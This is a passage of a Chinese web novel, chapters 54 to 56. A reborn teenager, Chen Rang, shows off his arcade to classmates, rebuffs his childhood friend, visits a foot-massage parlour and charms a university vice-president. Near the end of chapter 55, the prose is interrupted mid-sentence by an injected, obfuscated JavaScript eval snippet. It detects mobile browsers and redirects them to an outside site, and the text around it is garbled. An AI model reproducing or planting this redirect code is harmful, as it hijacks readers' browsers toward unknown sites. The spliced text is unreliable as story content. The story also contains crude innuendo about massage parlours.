陈让什么家庭条件，李文韬很清楚——家里绝对没有这样的社会关系。 其他同学也满脸写着不相信。 显然这一幕，对他们来说，过于魔幻。 面对质疑，黄博文懒得说什么，抬手指了指吧台上方挂着的营业执照。 让李文韬和一众同学、见识了什么叫“事实胜于雄辩”。 看着“法人代表陈让”几个字，李文韬为首，众同学彻底傻眼。 突然就很安静。 明明电玩城很喧嚣，满满都是人间烟火，他们却迎来了一场盛大的死亡。 夏灵珊结巴着问：“大黄，小陈……盘下这家电玩城，花……花了多少钱？” 大黄哥故作云淡风轻：“咳，不多，也就一百万吧。” 众同学：“……” 这就是“近朱者赤”么。 怎么黄博文现在逼味儿也这么重啊？ 一百万，对他们这群准大学生来说，绝对的天文数字。 哪怕家境优渥如夏灵珊，也很难去想象。 他们兜里能有千把块就能手舞足蹈、飘到云端了。 再者说了，光转让费就一百万，再加上装修费，采购机器的费用，以及前段时间砸下的宣传费……林林总总算起来，陈让捣鼓这家电玩城，不得投资两三百个啊？ 此时“陈·钮钴禄·让”终于现身。 陈总刚对完账本、然后晃悠着从办公室出来，看起来有些清瘦——这段时间给累的——精神头却非常好。 人逢喜事精神爽嘛。 他现在可是字面意义的“日进斗金”。 看到很多班上同学，陈让先是诧异——他早就把班级群屏蔽了。 晃晃脑袋后、他朝众人走来。 一路上、电玩城员工，都满脸恭敬跟他打招呼，叫着“老板好”。 那些个穿着JK制服的小姐姐，也有不少凑过去跟他套近乎，一口一个“小陈哥哥”，眼神都快拉丝，毫不掩饰的释放着求偶信号。 陈让颜值身材都不错，现在又是肉眼可见的年少多金，简直就是她们的人间理想。 夏灵珊看着，心里泛起莫大的涟漪。 高考结束后，班上同学抱着补偿自己的心态在疯玩。 打游戏、看小说、各种聚会，乃至于谈恋爱……肆意挥洒着青春。 夏灵珊没这么疯狂，却也没干什么正经事。 这段时间仿佛人间蒸发的小陈，却偷摸的打造出了这家无比火爆、日进斗金的电玩城。 还那么憋得住，一点风都没露。 今天上午，要不是黄博文在群里多了句嘴，或许到开学，她都不会知道、陈让就是这家电玩城的新老板吧。 仿佛在小陈看来，这些都不值一提。 夏灵珊突然觉得陈让很虚幻。 明明是一起长大的青梅竹马，这家伙却悄无声息的、完成了如此华丽的蜕变。 其实陈让不搭理她以后，就逐渐开始闪耀。 三诊班上第一，年级前十五。 高考更是全市第三、荣膺区状元，数学省内唯一满分。 但她真的没有想过，陈让竟能如此闪耀。 陈让过来后，跟众同学打了招呼，礼貌却也疏离。 他向来拎得清，不会在无谓的人际关系上耗费任何精力。 此时有个女生、满眼都是小星星，问了陈总一嘴。 “陈让，听黄博文说，你花一百万盘下了这家电玩城？” 所有同学齐刷刷看向陈让。 其实事实已经摆在眼前。 但他们还是想听陈让亲口承认后，才会尝试去说服自己、接受这个过于魔幻的现实。 陈让皱眉：“什么一百万啊，别听大黄瞎说。” 李文韬瞬间原地复活。 “咳，我就说嘛，陈让，这家电玩城，其实不是你开的吧，大概是你家亲戚的？” 黄博文咕哝：“小陈，我哪有瞎说？” 陈让翻了个白眼：“你本来就是瞎说啊，我明明花了一百零八万，怎么到你嘴里就成一百万了？我的大黄哥，你有点飘啊，八万在你眼里都不是钱？哪怕真要四舍五入、你也该说是一百一十万啊，难怪高考数学一百二都上不了。大黄，你真的很不严谨。” 黄博文：“……” 李文韬：“……” 众同学：“……” 如果装逼也有段位—— 如刘勇这种老实孩子，肯定是“倔强小青铜”。 “近朱者赤”的黄博文，勉强算个“白银”，“家学渊源”的李文韬大概能碰到“黄金”。 陈让则是绝对的“最强王者”。 偌大川F地区，应该没有任何同龄人是对手。 第54章 现世报 第五十四章现世报 这个世界很科学的，客观事实不以主观意志转移。 陈让就是德州最大电玩城的新老板——肯定很玄幻，且还是玄之又玄的东方玄幻。 奈何事实就是事实。 众同学再怎么难以置信，也只能接受。 在这个他们只知道瞎玩的夏天，陈让就是左脚踩右脚的“白日飞升”了，成了他们只能仰望的存在，闪耀到他们连嫉妒都没资格。 别说他们，偌大川F地区，把所有同龄人拎出来，陈总都可以很装逼的说一句。 “呵呵，一个能打的都没有。” 黄博文一直在观察班上同学的微表情——表示有被爽到。 要是能把小陈换成自己就更爽了，可惜换不得。 不过能当“陈·钮钴禄·让”的挂件，他“黄·瓜尔佳·博文”，已经爽到头皮发麻了。 陈总虽然是个狗资本家，却也不是一点人情味都没有。 跟众同学寒暄几句后，大手一挥，免了今天所有同学的单。 都年轻人，情绪来得快、去得也快，很快就都美滋滋去玩游戏了。 只有李文韬、没有接受陈总难得的慷慨。 李大班长还是无法接受、原本哪方面都不如自己的陈让——反正他自己是这么认为的——现在已经闪耀到他连提鞋都不配。 找个蹩脚理由后，这家伙狼狈而逃。 陈让打算继续去忙，却被夏灵珊拦住。 夏同学看着某人，清冷的瓜子脸上，一半的委屈、一半的失落。 陈让刚才跟众同学打招呼，倒也没有刻意漏过她，但是称呼让她接受不了——很生硬的“夏同学”三个字。 陈总皱眉。 “干嘛？” “小陈，你有必要这么对我么，真拿我当普通同学？” “有什么问题？” “我接受不了——宁愿你拿我当陌生人！” “满足你——” 陈总抬手唤来了一个员工。 “小张，其他同学可以免单，这位大小姐——记得收费。” 夏灵珊：“……” 两三秒后她哭了。 眼泪顺着脸颊不住滑落。 边哭边看着陈让，表情委屈到了极点。 “小陈，我又当着你哭了，你心里一定在笑话我对不对？” “夏大小姐，我没那么无聊。” “行吧——”夏灵珊很快抹干净眼泪，“小陈，既然你这么无所谓，我也不打算再纠缠你了，以后就真的别联系了。” 她扭头就走，走两步却又回过头来，眼中带着最后的希冀。 陈让抬起手指：“夏同学，找不到路？大门在那里！” 夏灵珊彻底崩溃，很快消失在了陈让视线。 陈总看着夏灵珊边哭边走，心里并无起伏，反而美滋滋的想——最近的确走鸿运啊，居然还有这种好事儿！ 他只希望夏大小姐能够说话算话。 黄博文忍不住摇了摇头。 陈让对夏灵珊的态度，让他有些不理解。 再怎么说也是青梅竹马，哪怕真的不爱了，也没必要搞成仇人的。 当然—— 不理解归不理解，他肯定不会指责陈让。 这是立场问题，跟对错无关。 陈让肯定看得出来大黄哥在想什么，却也没有解释。 另一条时间线上，他大学时代经历的泥泞，只有他自己知道，也没办法跟任何人言说。 班上同学在电玩城疯玩了整个下午。 中间肖茜同学知道大家都在电玩城后，也跑过来玩了——主要是找陈让聊天。 “男神，这家电玩城，现在生意这么好的？你是真的厉害啊……我老舅要知道你这么大的能耐、肯定后悔**……” 肖茜说的、自然是陈让刚开始提的那个方案。 少给点钱，保留高升百分之三十的股份。 陈总耸了耸肩：“茜美女，这个我也没辙啊，那天我嘴皮子都磨破了，你老舅也没同意……” “只能怪我老舅没有眼光——” 肖茜叹了口气后，转移了话题。 “不提这个了，男神，你最近除了捣鼓这家电玩城，还在忙什么？” 陈让笑了笑：“茜美女，我的‘锌’不早就被你偷走了么，肯定在忙着想你呀。” 反正说好听话又不用花钱，在零九年玩谐音梗也不用扣钱。 那肖茜想听什么、陈总就说什么呗。 肖茜是典型的川渝辣-妹子，开得起玩笑。 瞬间就给逗乐了。 “鹅鹅鹅——男神，多说点，好听，爱听！” 她有自知之明。 哪怕整两斤工业酒精，也不可能鼓得起勇气，跟林静姝抢“男朋友”。 也知道陈让在说假话，纯粹逗她开心的。 但是假话她也爱听。 毕竟她真的收获了开心。 班上有个叫吴强的男生，是肖茜的追求者。 此时一直在竖起耳朵偷听。 看着女神跟陈让相谈甚欢，醋意大发之下，强行凑了过来。 “肖茜，你就听陈让瞎掰吧，他不是跟林大校花打得火热么，刚才甚至把夏大班花都气走了，她怎么可能在想你？” 这番话如此没有情商，肖茜肯定不乐意啊，杏眼一瞪。 “吴强，你又不是我男神肚皮里的蛔虫，怎么知道他没有想我？” 吴强哼哼着说：“肖茜，我是为你好，陈让一看就是个渣男。” 陈总就挺莫名其妙：“吴强，好好说话啊，我怎么就渣男了？” “反正……反正你就是个渣男！” 这家伙都这么说了，陈总只得放弃再跟他讲道理。 “你说的很对，我确实没有在想肖茜同学，至于我在忙些什么——” 陈让冲着吴强招了招手，示意他凑近。 吴强没想那么多，凑到陈让身前，还探出脑袋，洗耳恭听状。 陈让笑得很温润：“我在刨你家祖坟哦。” 吴强：“……” 因为愤怒，他开始喘粗气，像头愤怒的公牛。 拳头也捏紧了，骨节都清晰可见。 陈让耸了耸肩：“吴同学，想清楚啊，有监控的。” 一秒，两秒…… 数秒后吴强怂了，默默松开拳头。 陈总不耐烦的摆了摆手。 “一边玩去吧。” 吴强什么话都没敢再说，狼狈而逃。 肖茜倒是不好意思。 “男神，对不起，让你见笑了。” “这有什么好笑话的，少年慕艾，人之常情，谁当年不是这么过来的。” 陈总摇了摇头。 语气中带上了些感慨。 倒是搞得肖茜莫名其妙。 明明大家都是同龄人，怎么陈让现在说话，这么的老气横秋？ …… 忙忙碌碌，又是一天。 班上同学陆续走-光后，电玩城也到了关门的点儿。 陈让跟黄博文哥俩都累得够呛，腰酸背也疼。 把卷帘门锁好后，已经接近午夜，哥俩搭着肩回家。 陈让边走边说：“大黄，明天你要辛苦些，我有个局，明天来不了电玩城。” 黄博文苦着脸：“小陈，你拿我当生产队的驴啊，要不咱再招些员工？” “招个der，德州只是个地级市，消费能力有限，咱们电玩城的火爆局面，持续不了多久的。顶天火到开学，然后就是持续四五个月的淡季。剩下这二十来天，咱哥俩辛苦些也就熬过去了，真招了人，后面可不好辞，容易搞得人心惶惶。” “哦——” 黄博文隐约也能感觉出来，电玩城的生意不会一直这么火爆。 就是没有陈让这么通透，能够准确去分析和判断。 好在他有非常清晰的自我认知——陈让说什么他就听什么。 又走一阵，陈让提议： “这几天是太累了哈，要不……咱去按个摩？” “按摩？” 黄博文眯起了小眼睛。 表情紧张又忐忑，却又带着诡异的期待。 零九年这个节点，德州这边的按摩店，十家有九家都不是正规的。 每到夜深人静、就会有一些穿着暴露的小姐姐，坐在粉色灯牌下招揽生意。 陈让翻了个大白眼。 “大黄，瞎想什么呢，我说的按摩就真是按摩，正规的。” 黄博文的脸，立马红的像猴子屁股。 “小陈，我……我也没想去不正规的啊……” “呵呵，解释就是掩饰。” 十来分钟后，哥俩到了滨江路，踏进了“大浪淘沙”的大门。 类似场所，前世的陈总，商务应酬时没少去，已经摸索出了整套经验。 看名字就知道正规不正规。 一般店名跟“水”有关的，什么“水云间”、“沐芳华”、以及眼前的“大浪淘沙”，那就大概率有不正规项目。 如果有“丽人”、“秘境”之类的词汇，就更离谱了，大概率没有正规服务。 陈总本想找家完全正规的，结果没找到。 好吧，零九年这个时间节点，全国各地的足浴会所都在野蛮生长，没点特色服务，百分 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陈让当然不信她真敢摸。 “姐姐，咱先说好，摸一摸，三百多！” “……” 大概一个小时后，哥俩做完了足浴按摩。 穿好衣服后出了房间，边走边活动着筋骨，都觉神清气爽。 此时差不多凌晨一点，别的店、哪怕是宵夜摊也关门了。 “大浪淘沙”足浴会所却正是上客的时候。 许多吃完宵夜、喝完酒的中年人们，三五成群，勾肩搭背而来。 不少人跟大堂经理交流一阵、对了一下神秘切口后，便在服务生引领下，上了二楼。 黄博文求知欲一下子就上来了。 “小陈，一楼是按摩跟洗脚的，二楼又是干嘛的，刚才那个经理好像也想让咱们去二楼啊，你为啥不去？还有他们说的半套、全套，又是啥意思？” 陈让翻了个白眼。 “小孩子好奇心那么重干嘛，不该问的别问。” “哦——” 黄博文缩了缩脖子，没敢再问。 其实差不多也能猜个大概，就是不确定。 陈让去前台结账，才刚摸出钱包，就听到一个带着明显醉意的声音。 “小陈？” 循声望去、几个已经喝到五迷三道的中年人，互相搀扶着从大门处进来。 为首者赫然是夏援朝——也就是夏灵珊的爸爸。 “额……夏叔？” 陈让有些麻瓜。 虽然他跟黄博文就是来做个足浴按摩、啥坏事儿没干，但是“大浪淘沙”终究不是什么正经地方。 连他都觉得尴尬、大黄哥更不用说。 当场红温，扭捏着叫了句“夏叔”。 同行有个中年人问了一句：“老夏，这俩孩子你认识？” 老夏嘿嘿一笑，把陈让拉了过来，跟他几个朋友介绍。 “这小子叫陈让，朋友家孩子，也算是我看着长大的，跟我家灵珊可是青梅竹马。” 陈总只得跟夏援朝身边几个朋友打了招呼，叫了几声叔。 “陈让，这个名字听着有些耳熟啊，”有个中年人沉吟着，猛然拍了拍脑袋，“莫不是咱们德州市这次高考的探花郎，旌湖区的状元？” 夏援朝嘿嘿一笑：“可不是么——哥几个，怎么样，我这未来女婿还行吧？” 几个中年人肯定顺着他说。 “那必须的，夏总好眼光，一看就是个麒麟儿！” “陈让，我看过报纸的，你还是省内数学唯一的满分吧，确实够厉害！” 有个性格跳脱的中年人，此时忍不住“皮”了一下。 “啧啧啧，不愧是探花郎，才十八岁就敢到大浪淘沙来了……陈小哥，你这属于是少年英雄啊！” 陈让：“……” 即便陈总自诩脸皮城墙加倒拐，此时也有些“红温”。 “咳，几位叔叔就别开玩笑了，我真是单纯来洗个脚。” 夏援朝露出意味深长的笑容。 “小陈，用不着解释，解释就是掩饰。你夏叔也是男人，那还能不懂？对了，以后再来就别花钱了啊，报你夏叔的手机号就行！” 陈让：“……” 得勒，这是跳进黄河也洗不清了。 所以说出来混都是要还的。 下午才欺负完老夏他女儿，现在就被老夏蛐蛐，现世报来得可真快。 第55章 可是陈让需要 第五十五章可是陈让需要 第二天陈让起了个大早，开始捯饬。 穿了件白衬衣，又将头发梳成大人模样。 揽镜自照——冷不丁吓了一跳。 就很奇怪，明明是自己在照镜子，为什么会看到彦祖？ 这不科学！ 他昨天跟黄博文说，自己今天有事儿，并不是想摸鱼，而真的有事儿。 前阵子找周女士唠嗑，俩师徒不还开玩笑么，说蜀大招生办的领导，要懂事的话，必须请他吃顿饭。 结果人家蜀大负责招生的那位副校长，今天还真就会到德州来，点名要见他一面。 至于是不是真的要请吃饭——通知陈让这茬事儿的郑舟郑校长，在电话中倒没明说，只是让陈让今天早点去学校。 创业初期阶段，陈总是打算狠狠薅学校羊毛的。 所以蜀大的校领导，现在必须得舔。 许多人的固有观念，下意识会把学校领导当成高阶点儿的老师。 其实不是那么回事。 领导就是领导，尤其高校领导，那可是大领导。 譬如蜀大，作为教育部直属九八五高校，校长可是副部级，副校长正厅，下辖学院的院长则是副厅。 厅局级干部什么概念？ 德州市的一把手，管着大几百万人口，级别也才正厅。 所以才会有这样的说法—— 普通的一生，能够接触到的最牛逼人物，大概率就是自己大学时蛐蛐过的校领导。 接到德中校长郑舟电话，过来混个面熟的学生，不止陈让，而是有十几个。 其中就包括因为陈让导致的蝴蝶效应，也报考了蜀大的李文韬。 这种能在领导面前刷存在感的机会，李大班长怎可能错过？ 同样因为某人，林静姝也报考了蜀大经济学院。 不过她没来。 指望学神少女这样的深度社恐，来这种人多的场合，还不如指望陈总大发善心，给最近被当成牲口用的大黄哥，配俩黑丝大长腿的性感秘书。 在郑校长办公室，面见蜀大领导的过程，陈总表现的很路人。 人太多了，压根没有发挥的舞台。 不过“是金子总会发光”。 逛校园时，陈总有了机会秀操作。 蜀大分管招生的副校长名叫孙柯。 值得一提，孙副校长跟郑舟关系极为密切，乃是大学室友——俩人都**毕业的。 俩老友对比一下，肯定是孙柯混的更好。 一个已经是蜀大的实权副校长，另一个却只是高中校长。 单说手中掌握的资源，就不在一个量级。 蜀大再怎么说，也是堂堂部属九八五。 逛学校嘛，肯定是领导前面走，学生们后面跟。 走着走着，郑舟忍不住感慨。 “老孙，当年我们宿舍六个人，现在就你最厉害啊，我看你们蜀大的聂老校长，也快退休了吧，指不定你老孙还能更进一步，那就是真的进‘部’咯……” 孙柯连忙摆手。 “老郑，这个我可不敢想，聂校过两年肯定要退，但是谁上去，还不得组织上说了算？依我看啊，大概率还是空降……” “话又说回来——官当到多大才算大啊，官场沉浮这么多年，我都有些倦了，宁愿早点退休、在家泡点茶看看书——老郑你知道的，我最喜欢收藏书籍。” 通常一个人说话，加上话又说回来的前缀呢，就意味着他要装逼。 孙副校长这席话，也不例外，谦虚中就透着股子虚假。 陈总跟在后面偷听，非常有既视感。 毕竟上辈子功成名就后的他、也经常玩这种虚假的谦虚。 “这个我肯定知道啊，”郑舟接过话茬儿，“大学时你就省吃俭用的买各种古籍了，现在藏书得有大几千册了吧？” “一万两千多册。” 孙柯得意洋洋的说，伴随眉梢抑制不住的上扬。 郑舟当校长前干过十多年教学工作，以至于有了职业病。 此时本能回头过来，看着后面一众学生。 “你们以后也要跟孙校长学习，养成爱读书多藏书的习惯，提升个人修养……” 这个时候，如果有学生把情商拉满，站出来当捧哏，孙副校长肯定会很舒服。 怎么当呢？ 陈总把CPU拉满，开始打腹稿。 “正所谓‘腹有诗书气自华’，孙校长，难怪您言谈举止充满了诗意……” 结果腹稿还没打好，李文韬这货却先开了口，满脸诚恳的说： “郑校长，您说得非常有道理！正所谓‘腹有诗书气自华’，孙校长一看就是真正的读书人，每句话都好有哲理，就是听您二位聊个天，我都感觉学到了很多新知识，仿佛醍醐灌顶了，胜过我读十年书！” 靠！ 陈总脸颊抽了抽。 怎么把这货给忘了啊？ 人家李大班长可是“家学渊源”。 自己还需要打腹稿，李文韬却能张口就来！ 看来舔狗也不是那么好当的。 听了李文韬的恭维，孙副校长却只象征性嗯了一声，就很敷衍。 李文韬悻悻一笑。 寻思自己刚才那番话完全没毛病啊，怎么孙副校长就这么冷淡呢，问题出在哪儿？ 他在思考，陈总也在沉吟。 舔领导跟追女神，有很多共通之处。 送女神礼物，女神收了却没有表现出愉悦，说明什么？ 说明这样的礼物，女神已经收过不少。 类似的道理—— 孙柯这样的实权派大领导，刚才李文韬整得那几句恭维话，人家也不知道听过多少了。 根本破不了阈值！ 那该怎么破呢？ 答案倒也简单——不走寻常路！ 一念至此，陈总开了口。 “孙校长，您有这么多藏书，您的书房和书柜，一定很漂亮吧！” 嘿！ 别说！ 真别说！ 这话一下子就戳中了孙副校长的G点。 李文韬刚才那番恭维话，他确实听腻歪了，身边人都这么捧他的——却还真没人如陈让这般，夸他的书房和书柜。 孙柯眉梢又忍不住上挑了，谈兴勃勃的说： “老孙，你知道的嘛，前年我换了房子，装修时专门把卧室改小了，专门整了个七十平的书房……” “书架我专门找老木匠定制的，木材那也是千挑万选……” “现在我回家啊，就喜欢书房待着，坐一整天都不带乏的！” 陈总听着，暗戳戳的想，孙副校长您怕是有些肾虚吧。 年轻男人都是不废话的孤狼，姑娘和他开房，想说点什么，玩玩情调，结果眨巴眼的功夫，他裤子都脱了。 只有那方面有心无力的中年男人，才会捣鼓那些个虚头巴脑的东西，盘石头、钓鱼之类，藏书肯定也算。 尤其孙柯这种、回家就一整天坐书房的——石锤，没得跑！ 孙副校长肯定想不到陈总在心里暗戳戳的蛐蛐他，他边眉飞色舞的跟郑舟炫耀，边打量着陈让这个让他极为满意的捧哏。 郑舟还是懂事的。 立马将陈让拉到了身边，乐呵呵的介绍： “老孙，这个学生就是陈让，你专门点名要见的。” 孙柯看陈让的目光，变得无比温和，微笑着跟他点头。 单纯情商高和成绩好，都不至于让一位正厅级大领导高看。 但是成绩好的同时，情商也特别高，又有哪个领导会不喜欢？ 更别说陈让报考蜀大还属于是买一送一。 人家把全省第五的林静姝也拐来了。 孙柯主管招生也好几年了，倒也招到过成绩比陈让更好的。 但是比林静姝更好的——抱歉，那还真没有，甚至接近的都没有。 种种因素叠加，沉吟片刻后，孙柯乐呵呵的跟陈让说： “陈同学，晚上有空吧，叫上你爸妈，咱们一起吃个便饭。可以的话，把林静姝林同学也一起叫上。” 陈总装作受宠若惊的样子，赶紧答应了下来。 心里却在想，孙柯请吃饭，请他怕是附带的吧，请林静姝才是大头。 至于为什么没有越过他、单独请林静姝——陈总猜测，大抵是请了的，只不过没请动。 事实还真如陈总所料。 孙柯昨晚就把电话打到了宋臻那里，宋女士听两句就没耐心了，冷冰冰回了句“没空”，就直接挂了电话。 “嘟嘟嘟——” 听着电话里的盲音，孙副校长肯定很生气。 什么家庭啊，这么傲慢的？ 孙柯越想越气，于是查了查林宋两家的背景，然后立马就不生气了——他不配。 却是越想越疑惑。 以林静姝的成绩和家室，怎么就跑到蜀大来了？ 正如他不配生宋女士的气，蜀大也不配拥有林静姝啊。 百思不得其解——孙柯干脆直接问了郑舟。 这才知道缘由。 感情林静姝是被陈让拐到蜀大来的。 所以孙柯刚才，才专门加了一句，叫陈让把林静姝也一起叫上。 边上的李文韬，此刻那个羡慕嫉妒恨哦，后槽牙都快嚼碎。 曾经他觉得陈让哪方面都不如他。 然后就被连续打脸。 先是成绩被完爆。 接着陈让又是卖歌、又是开电玩城赚的盆满钵满…… 骄傲如他也不得不承认，陈让的确优秀，很多方面都胜过了他。 但是舔领导、装孙子这条自己最擅长的赛道，陈让居然也能胜过自己？ 没道理的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15528482|170784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>陈让这么傲的，他居然也能把孙子给装明白咯？ 这可是单独跟孙副校长吃饭的机会啊。 别人不清楚，李文韬可是专门了解过的。 孙柯除了管招生，还管校务。 权柄之大，蜀大也就仅次于聂老校长，属于是常务副goat。 能在进校前、就跟孙副校长处好关系，日后进了大学，还不得“大鹏一日同风起、扶摇直上九**”？ 慕了，真的慕了。 此刻的陈让，便是李文韬理想中的自己。 敲定晚上一起吃饭后，孙柯另有些事，便先离开。 陈让准备回家补个午觉，却被郑舟叫到了办公室，说找他聊聊天、叨叨嗑。 陈总就很奇怪，老郑找他聊啥，老子都毕业了好吧。 等郑舟打开话匣子——陈总知道了缘由。 “陈让，老孙可是我专门邀请过来的，你小子倒也没有辜负我的期待，几句话就让老孙高看了你一眼，晚上吃饭继续保持啊……两年后换-届，老孙指不定就是你们蜀大的校长了……跟他处好关系，你小子上大学后，多得是好处！” 感情老郑是在邀功。 陈总心想，老郑你是真有眼光，这么早就看出来了，我乃未来大帝。 既然老郑你这么懂事，将来陈总证道了，就不跨过岁月长河斩你了。 甚至还得还你这份人情——到时候给学校捐点小钱钱。 …… 孙柯专门嘱咐陈让，晚上吃饭把林静姝一起叫上。 陈总却没一口答应，而是留了余地，跟孙柯说自己尽量。 林静姝这边肯定没问题。 但是宋女士大概率不会同意——毕竟吃的是晚饭，吃完了起码都晚上九、十点钟了。 暑假时两人没少约会，但是从来没超过晚上七点。 一般到六点半，宋女士就会开始夺命连环扣。 陈总倒也能理解。 女儿这么漂亮，为人处世方面又一张白纸，作为母亲，宋女士有浓烈保护欲也是人之常情。 陈让甚至怀疑——宋臻早就查过自己了，大概率还派人跟踪过他和林静姝。 对于这个，别说陈让没证据，有证据他也会装作不知道，更不会在林静姝面前说。 疏不间亲，古来如此。 再者他也暂且没有那个力量，跟某位女士正面抗衡。 陈总最有自知之明了，从来不干螳臂当车的夯事。 跟郑校长聊完天，陈让打车回家，接自己爸妈。 车上就打电话跟老妈说了、孙柯孙副校长要请吃饭。 李女士听了，瞬间诚惶诚恐——那可是蜀大的常务副校长，实打实的正厅级大领导！ “儿子，你没开玩笑吧——那我跟你爸立马换衣服……你人呢？” “回家路上了，到点了、我们一家三口一起去。” “好……我说儿子，你妈我都紧张的不行，听你的语气，你倒是一点都不紧张？” “妈，这有啥紧张的，都习惯了，小场面。” “喵喵喵？” “咳，我的意思是说，甭管孙校长官有多大，他在我眼中都是老师啊，跟老师吃顿饭有什么好紧张的？” “憨包儿，你妈我该说你初生牛犊不怕虎呢，还是心大神经粗？” “妈，那还不是你生的？” 跟李女士结束通话后，陈总又给林静姝打了过去。 聊了一阵，学神少女清楚事情前因后果后，跟陈让说，富贵同学，孙副校长吩咐你叫我，我要没来，岂不是显得你很没面子吖，那你等等哦，我尽最大努力跟妈妈说。 跟陈让结束通话后，林静姝给她妈妈打了过去。 德州这样的三线城市，不可能承载得起林家和宋家这样的豪门。 单说林家、生意就做的极大，国内总公司在上海，国外则在伦敦。 宋臻跟林静姝她爸、虽说已经在走离婚程序，但林宋两家这么多年的纠缠，却也不是说切割就能切割的。 就眼目前来说，林氏集团所有国外的业务，都还是宋臻在当家做主。 这就注定了、宋女士需要世界各地到处飞，不是在出差就是在出差的路上。 前段时间带林静姝去日本玩了好几天，绝不是常态。 电话很快接通。 “呦呦，有事？” 林静姝把事情说了。 宋臻沉默片刻后，反问了一句。 “如果妈妈不允许你去呢？” “为什么？” “在妈妈的规划中，你未来的舞台，并不在蜀州，甚至不在国内，蜀大校领导这样的关系，并不需要你耗费精力去维持，即便以后你有相关的需求，妈妈也能给你找到更好的。” “妈妈，我确实不需要，可是——陈让需要。” 最后这四个字，学神少女的语气，变得格外坚定。 第56章 陈总的社死现场 第五十六章陈总的社死现场 好一番拉扯后，宋臻最终还是没能拗过女儿。 林父离开这个家庭后，母女之间相处，许多事情林静姝都会让着宋臻。 但是只要牵扯到陈让——林静姝就会变得特别犟。 强硬如宋臻——她可是被伦敦金融圈誉为“中-国铁娘子”的——往往也没有办法。 或者说，宋女士还没有下定决心，要不要使用常规之外的办法。 毕竟就眼目前收到的反馈，女儿跟那个小子的相处模式，还在宋女士的底线之内。 而且那个叫陈让的小子，还展露出了一些、能让宋臻略微高看一眼的特质。 会写歌什么的，肯定不值一提，完全入不了宋女士的眼。 娱乐圈那么低级的圈子，哪怕陈让登顶了，成了某某天王，那又如何呢，戏子罢了，下九流中的下九流。 这小子在股票市场赚了些钱，这个宋女士也知道，却也同样不屑一顾。 玩股票玩出花来，也上不了真正的牌桌。 毕竟国内这个大环境，永远出不了巴菲特。 股票说白了就是资本收割财富的工具，林家和宋家，那可是资本本身。 真正让宋女士有些侧目的，是陈让经营电玩城时展露出来的智慧和手腕，以及别出心裁的营销模式。 说明这小子，还真有些经商的天赋。 考虑到陈让才十八岁，倒也当得起未来可期这四个字，勉强算个潜力股。 当然仅凭这些，宋女士是不可能让某人、成为自己未来女婿候选者之一的。 有句话说起来会戳破许多人的玻璃心，但是道理还真就是那个道理。 “人家三代人的积累，凭什么是你十年寒窗就能抹平的？” 也就是这段时间陈让跟她女儿的相处，一直没有逾矩，否则宋女士早就动用雷霆手腕，来一出“棒打鸳鸯”了。 以她掌握的权柄和资源，在不触犯任何法律的前提下，她也有整整一千种方法，让陈让这辈子也别想再见她宝贝女儿一面。 说回此时此刻——宋女士同意了林静姝参加今晚的饭局，不过还是提了两点要求。 第一，司机全程接送。 第二，饭局结束后，立刻就要回家。 林静姝悉数答应。 将要挂电话时，宋臻冷不丁的问了一句。 “对了，呦呦，今晚的饭局，陈让母亲会出席么？” “嗯，会的。” 林静姝点了点头。 刚才在电话中，陈让和她讲的非常清楚，在哪儿吃饭，会有哪些人。 “今天……算是你跟陈让母亲第一次见面？” “是的，妈妈，怎么啦？” “呦呦，这种情况呢，妈妈建议你，应该给陈让母亲准备一份礼物。” “妈妈，那我应该送什么呢？” “妈妈卧室第二个抽屉，有个黑色盒子，里面有个镯子，你连盒子一起带着，见面时送给陈让母亲吧。” “谢谢妈妈。” 母女二人结束通话后，林静姝去了宋臻房间，很容易就找到了那个黑盒子，打开一看，里面果然有副翡翠手镯。 林静姝很聪明，但是毕竟涉世不深。 所以并没有察觉，这是她妈妈挖的一个坑。 …… 饭局定在六点半，六点刚过，陈让一家三口就到了。 此时孙柯跟郑舟还没来。 陈让打开窗帘，暗戳戳观察着楼下。 看到郑校长那辆很低调的沃尔沃后，陈总唤来了服务员，让他们把茶倒好，分酒器也先拿来。 自己也没闲着，开始用开水细心的给碗筷消毒。 虽说碗筷都是从消毒柜里拿出来的，从科学的角度讲并不需要再消毒。 但是大多数人的习惯，还是会用开水再清洗一遍。 这一幕，“恰好”被后脚进包间的孙柯跟郑舟看到。 俩室友对视一眼，眼中都有了些赞许。 陈让只是个十八岁的孩子，高考又考那么好。 按理说，正是最为心高气傲的时候。 却能提前来到包厢，还能那么细心的在给碗筷消毒。 说明孩子内心是真的细，对师长也是真的尊重。 好吧—— 其实不是“恰好”，陈让就是故意表演给孙柯和郑舟看的。 某人除了是91探花陈先生，还是91年产的龙井——资深老绿茶。 见孙柯跟郑舟进了包厢，李凤琴跟陈立青都是“如临大敌”。 嗖得就从椅子上站起来了，努力挤出笑脸，拘谨又真诚。 要不说“可怜天下父母心”呢，两口子会这么紧张，还不是怕自己表现不好，耽搁了宝贝儿子日后的发展？ 陈让跟着起身，先跟孙柯和郑舟问了好，接着给二人引荐父母。 表现得大方又得体，让人挑不出来一点毛病。 各自落座，开始聊天。 主要是孙柯在说，绝对的“主咖”，郑舟当“暖场嘉宾”，李凤琴跟陈立青两口子，偶尔回应那么一两句。 夫妻俩终究还是拘谨。 毕竟宾客双方，社会地位差距太大。 好在有个毫无怯场的陈让，总能在老父亲和老母亲接不住话时，不动声色把话题接下来，还能再给孙副校长抛个话引子回去。 氛围是有些古怪，却也始终没有冷场。 郑舟在路上时还盘算着、待会他要怎么做，才能不让饭局氛围过于清冷。 结果压根不需要他做什么啊。 陈让把他的工作都给做了，还做得近乎完美。 “这小子，确实了不得啊！” 郑校长又在心中、默默为陈总点赞。 对学生来说，成绩是硬件，情商是软件。 无论硬件还是软件，这小子的配置都拉满了，将来成就岂可限量？ 一念至此，郑舟都有些嫉妒陈立青跟李凤琴两口子了。 上辈子积了多少德，才生出这么个麒麟儿？ 闲聊一阵，时间也到六点半了，有个服务生进来，问今天做东的孙柯，可以上菜了么。 孙柯摆摆手，示意先不急。 